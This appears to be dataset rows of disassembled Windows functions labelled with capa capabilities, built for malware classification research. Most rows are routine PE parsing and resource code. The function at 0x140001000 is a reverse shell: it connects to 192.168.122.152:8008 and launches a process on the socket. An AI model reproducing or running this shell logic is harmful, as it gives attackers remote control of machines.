joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002340
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000238d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002384
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000238f
add rax, 0x28
cmp rax, r9
jne 0x140002370
xor eax, eax
ret

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002420
mov rdx, qword [0x1400097d0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000240e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000240e
cmp word [rax + 0x18], 0x20b
jne 0x14000240e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002420
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400023f9
add rbx, 0x28
cmp rbx, rdi
je 0x140002420
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400023f0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400097d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002450
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002458
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002450
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002450
add rax, 0x28
cmp rax, r9
jne 0x140002490
xor eax, eax
ret

Function at 0x1400024b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400097d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400024f0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400097d0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002510
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002518
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002510
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002560
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002557
test rcx, rcx
je 0x140002510
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002548
xor eax, eax
ret
Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400097d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002598
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400097d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025d0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400025d0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002624
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002630
add rdx, 0x28
cmp rdx, r9
jne 0x140002610
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400097d0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002662
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002670
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002662
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002662
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002662
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400026c5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026d8
add rdx, 0x28
cmp r10, rdx
jne 0x1400026b0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400026e7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400026f7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026ce
test ecx, ecx
jg 0x1400026e0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ecx, 0x202
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001054
mov r8d, 0x1b
lea rdx, str._ERROR__WSASturtup_failed._n
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__write]
mov eax, 1
jmp 0x1400011a2
mov qword [rsp + 0x2b0], rsi
mov ebx, 2
xor esi, esi
mov qword [rsp + 0x2b8], rdi
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov edx, 1
mov dword [rsp + 0x20], esi
mov r8d, 6
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x1f48
mov word [rsp + 0xc0], bx
mov rdi, rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.122.152
mov word [rsp + 0xc2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov r8d, 0x10
lea rdx, [rsp + 0xc0]
mov rcx, rdi
mov dword [rsp + 0xc4], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1400010f5
mov r8d, 0x18
lea rdx, str._ERROR__connect_failed._n
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__write]
mov eax, 1
jmp 0x140001192
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rdi
movups xmmword [rsp + 0xa0], xmm0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x48], rax
lea rdx, [0x1400032cc]
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x8c], 0x100
movups xmmword [rsp + 0x90], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov rsi, qword [rsp + 0x2b0]
mov rdi, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400011d0
add rsp, 0x2a0
pop rbx
ret

Function at 0x140001a98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ae2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ae2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ae2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ae2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ae2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ae4
xor al, al
add rsp, 0x28
ret
Function at 0x14000e090
Capabilities:
Enumerate processes

Disassembly:
push rbx
push rbp
push r14
push r15
sub rsp, 0x278
mov rax, qword [0x14029d930]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov r15, rdx
mov rbp, rcx
mov rdx, qword [rdx + 0x30]
test rdx, rdx
je 0x14000e0ca
mov rax, qword [r15 + 0x18]
lea rcx, [r15 + 0x18]
call qword [rax + 0x18]
xor eax, eax
xor edx, edx
mov qword [r15 + 0x30], rax
mov qword [r15 + 0x40], rax
mov qword [r15 + 0x38], rax
lea ecx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000e1d2
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x24]
call fcn.1401ce7f0
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000e1d2
mov qword [rsp + 0x2b0], rsi
mov qword [rsp + 0x270], rdi
mov rax, qword [rbp + 0x18]
test rax, rax
jne 0x14000e14a
cmp qword [rbp + 0x48], rax
lea rax, [0x1402576b0]
je 0x14000e14a
mov rax, qword [rbp + 0x38]
lea r8, [rsp + 0x4c]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000e166
add rax, 2
test ecx, ecx
jne 0x14000e152
test edx, edx
jne 0x14000e19d
mov rdi, qword [r15 + 0x40]
mov rax, qword [r15 + 0x38]
mov esi, dword [rsp + 0x28]
sub rax, rdi
cmp rax, 4
jl 0x14000e18d
mov rax, qword [r15 + 0x30]
mov dword [rdi + rax], esi
add qword [r15 + 0x40], 4
jmp 0x14000e19d
lea rdx, [rdi + 4]
lea rcx, [r15 + 0x18]
call fcn.140025710
mov dword [rax + rdi], esi
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000e130
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [r15 + 0x40]
mov rdi, qword [rsp + 0x270]
mov rsi, qword [rsp + 0x2b0]
shr rax, 2
jmp 0x14000e1d4
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1401cbf10
add rsp, 0x278
pop r15
pop r14
pop rbp
pop rbx
ret

Function at 0x140018f30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140018fa5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140018fa5
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140018f95
nop
cmp rbx, rcx
jae 0x140018fa5
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140018f80
cmp rbx, rcx
jae 0x140018fa5
cmp word [rbx], 0
je 0x140018fa5
mov rax, rbx
jmp 0x140018fa7
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140018fc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov eax, r8d
mov rsi, rdx
shr eax, 4
mov edi, r8d
inc ax
mov r14, rcx
movzx edx, ax
mov r8d, 6
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
je 0x1400190db
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400190db
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1400190db
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140019069
nop word [rax + rax]
cmp rbx, rcx
jae 0x1400190db
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140019050
cmp rbx, rcx
jae 0x1400190db
movzx edi, word [rbx]
test di, di
je 0x1400190db
mov r10, qword [r14]
mov ecx, 1
movzx edx, di
mov eax, dword [r10 - 0xc]
sub ecx, dword [r10 - 8]
sub eax, edi
or ecx, eax
jge 0x14001909f
mov edx, edi
mov rcx, r14
call fcn.140019700
mov r10, qword [r14]
movzx edx, word [rbx]
movzx r9d, dx
lea r8, [rbx + 2]
mov rdx, rdi
mov rcx, r10
call fcn.1401d7a14
xor edx, edx
test eax, eax
je 0x1400190c2
cmp eax, 0xc
je 0x1400190fe
cmp eax, 0x50
jne 0x1400190f8
mov rcx, qword [r14]
cmp edi, dword [rcx - 0xc]
jg 0x140019104
mov dword [rcx - 0x10], edi
mov eax, 1
mov rcx, qword [r14]
mov word [rcx + rdi*2], dx
jmp 0x1400190dd
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call fcn.140038ac4
int3
call fcn.140038ae8
int3
mov ecx, 0x80070057
call fcn.140019770
int3
Function at 0x140019110
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov edi, edx
mov ecx, edx
call fcn.1400395f8
mov rsi, rax
test rax, rax
jne 0x140019145
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov eax, edi
mov qword [rsp + 0x30], rbx
shr eax, 4
mov r8d, 6
inc ax
mov qword [rsp + 0x38], rbp
movzx edx, ax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
je 0x14001923d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14001923d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14001923d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x1400191ce
cmp rbx, rcx
jae 0x14001923d
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x1400191b5
cmp rbx, rcx
jae 0x14001923d
movzx edi, word [rbx]
test di, di
je 0x14001923d
mov r10, qword [r14]
mov ebp, 1
mov ecx, ebp
movzx edx, di
mov eax, dword [r10 - 0xc]
sub ecx, dword [r10 - 8]
sub eax, edi
or ecx, eax
jge 0x140019206
mov edx, edi
mov rcx, r14
call fcn.140019700
mov r10, qword [r14]
movzx edx, word [rbx]
movzx r9d, dx
lea r8, [rbx + 2]
mov rdx, rdi
mov rcx, r10
call fcn.1401d7a14
xor ecx, ecx
test eax, eax
je 0x140019229
cmp eax, 0xc
je 0x140019264
cmp eax, 0x50
jne 0x14001925e
mov rax, qword [r14]
cmp edi, dword [rax - 0xc]
jg 0x14001926a
mov dword [rax - 0x10], edi
mov rax, qword [r14]
mov word [rax + rdi*2], cx
jmp 0x140019241
xor ecx, ecx
mov ebp, ecx
mov rbx, qword [rsp + 0x30]
mov eax, ebp
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call fcn.140038ac4
int3
call fcn.140038ae8
int3
mov ecx, 0x80070057
call fcn.140019770
int3

Function at 0x14001acc0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x1c8], 0
mov ebx, edx
mov rdi, rcx
jne 0x14001ace8
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.140042620
test ebx, ebx
jne 0x14001ad03
mov qword [0x14029e540], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1402ae12c], eax
cmp qword [0x14029e540], 0
je 0x14001ad31
mov edx, ebx
mov rcx, rdi
call fcn.140042620
movsxd rcx, eax
mov qword [0x14029e540], rcx
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp ebx, 2
jl 0x14001ad21
lea rcx, [0x1402abcd0]
call fcn.1400261a0
mov rax, qword [rdi + 0x1c8]
mov rbx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1402ae12c]
mov rcx, qword [rdi + 0x1c8]
mov edx, eax
mov rax, qword [rbx + 0xa0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
Function at 0x140023150
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rbx, r8
mov edi, edx
test r8, r8
je 0x140023320
mov rax, qword [rcx]
call qword [rax]
mov rbp, rax
test edi, edi
je 0x1400231c0
cmp edi, 3
je 0x1400231c0
sub edi, 1
je 0x1400231af
cmp edi, 1
jne 0x140023320
movzx edx, bx
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadIconW]
jmp 0x140023322
movzx edx, bx
mov rcx, rbp
call qword [sym.imp.USER32.dll_LoadCursorW]
jmp 0x140023322
movzx edx, bx
mov r8d, 0xa
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r15, rax
test rax, rax
je 0x140023320
xor ebx, ebx
mov esi, ebx
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
test rax, rax
je 0x140023320
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x140023286
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], rbx
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
mov rdx, r12
lea rcx, [rsp + 0x50]
call fcn.140020ed0
test rax, rax
je 0x14002325f
mov rsi, qword [rsp + 0x50]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], rbx
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140023286
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
test rsi, rsi
je 0x140023320
cmp edi, 3
jne 0x14002331b
lea r8, [rsp + 0x30]
lea edx, [rdi + 0x1d]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_GetObjectW]
test eax, eax
je 0x14002330d
mov edx, dword [rsp + 0x38]
test edx, edx
je 0x14002330d
lea ecx, [rdx + 1]
and ecx, 0xfffffffe
mov dword [rsp + 0x20], 1
xor r9d, r9d
lea r8d, [rdi + 0x1e]
call qword [sym.imp.COMCTL32.dll_ImageList_Create]
mov rdi, rax
test rax, rax
je 0x14002330d
mov r8d, 0xff00ff
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
test eax, eax
jns 0x14002330a
mov rcx, rdi
call qword [sym.imp.COMCTL32.dll_ImageList_Destroy]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rax, rbx
jmp 0x140023322
mov rbx, rdi
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rax, rbx
jmp 0x140023322
mov rax, rsi
jmp 0x140023322
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x1400233e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x20
xor esi, esi
mov r14, r9
mov qword [r8 + 0x28], rsi
mov rbx, r8
mov rbp, rdx
test rdx, rdx
jne 0x140023412
lea eax, [rdx + 1]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rsi
pop rbp
ret
mov rax, qword [rcx]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], r15
call qword [rax]
movzx edx, bp
mov r8, r14
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r15, rax
test rax, rax
je 0x140023507
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbp, rax
test rax, rax
je 0x140023507
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x1400234fe
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov qword [rbx + 0x28], rsi
cmp qword [rbx + 0x20], rdi
jl 0x1400234dc
cmp rdi, 1
jne 0x14002349a
movzx ecx, byte [r14]
mov rax, qword [rbx + 0x18]
mov byte [rax], cl
inc qword [rbx + 0x28]
jmp 0x1400234f9
cmp rdi, 2
jne 0x1400234b1
movzx ecx, word [r14]
mov rax, qword [rbx + 0x18]
mov word [rax], cx
add qword [rbx + 0x28], rdi
jmp 0x1400234f9
cmp rdi, 4
jne 0x1400234c6
mov ecx, dword [r14]
mov rax, qword [rbx + 0x18]
mov dword [rax], ecx
add qword [rbx + 0x28], rdi
jmp 0x1400234f9
cmp rdi, 8
jne 0x1400234dc
mov rcx, qword [r14]
mov rax, qword [rbx + 0x18]
mov qword [rax], rcx
add qword [rbx + 0x28], rdi
jmp 0x1400234f9
test eax, eax
je 0x1400234f9
mov rdx, rdi
mov rcx, rbx
call fcn.140025710
mov r8, rdi
mov rdx, r14
mov rcx, rax
call fcn.1401ce140
mov esi, 1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r15, qword [rsp + 0x48]
mov rax, rsi
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rsi
pop rbp
ret
Function at 0x140024020
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
test rcx, rcx
je 0x14002415f
cmp word [rcx], 0
je 0x14002415f
lea rdx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x60], rdx
lea rsi, vtable.CVolObject.0
mov qword [rbp - 0x60], rsi
xor edi, edi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rdi
lea rax, vtable.CWString.0
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x20], rax
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rdi
lea r14, vtable.CVolMem.0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], 0x40
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x10], 0xfe
cmp word [rcx], di
je 0x140024116
cmp word [rcx + 2], di
je 0x140024116
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rcx + r8*2], 0
jne 0x1400240d0
cmp word [rcx + r8*2 - 2], 0x5c
jne 0x140024116
cmp word [rcx + r8*2 - 4], 0x3a
je 0x140024116
dec r8
mov rdx, rcx
lea rcx, [rbp - 0x60]
call fcn.140027250
mov rcx, qword [rbp - 0x48]
test rcx, rcx
jne 0x140024116
lea rcx, [0x1402576b0]
cmp qword [rbp - 0x18], 0
cmovne rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov rbx, rdi
cmp eax, 0xffffffff
setne bl
lea rax, [rbp - 0x40]
mov qword [rbp + 0x20], rax
mov qword [rbp - 0x40], r14
mov rdx, qword [rbp - 0x28]
test rdx, rdx
je 0x140024146
lea rcx, [rbp - 0x40]
mov r8, qword [rbp - 0x40]
call qword [r8 + 0x18]
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x60], rsi
mov rax, rbx
jmp 0x140024161
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140024180
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
xor ebx, ebx
lea rdx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x30], rdx
lea rdi, vtable.CVolObject.0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rbx
lea r8, vtable.CWString.0
mov qword [rsp + 0x30], r8
lea rax, [rsp + 0x50]
mov qword [rbp + 0x58], rax
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
lea rsi, vtable.CVolMem.0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x70], rbx
mov qword [rbp - 0x80], 0x40
mov qword [rsp + 0x48], rbx
mov qword [rbp - 0x80], 0xfe
mov qword [rsp + 0x30], r8
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.140027130
nop
lea r8, [rsp + 0x30]
lea rcx, [rbp - 0x18]
call fcn.140027960
nop
lea r8, [0x14025eecc]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140027810
nop
mov r9, qword [rax + 0x18]
test r9, r9
jne 0x140024269
cmp qword [rax + 0x48], r9
lea r9, [0x1402576b0]
je 0x140024269
mov r9, qword [rax + 0x38]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
lea r8, str.explorer.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rax, [rbp - 0x50]
mov qword [rbp + 0x58], rax
mov qword [rbp - 0x50], rsi
mov rdx, qword [rbp - 0x38]
test rdx, rdx
je 0x1400242ad
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x18]
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x70], rdi
lea rax, [rbp + 8]
mov qword [rbp + 0x58], rax
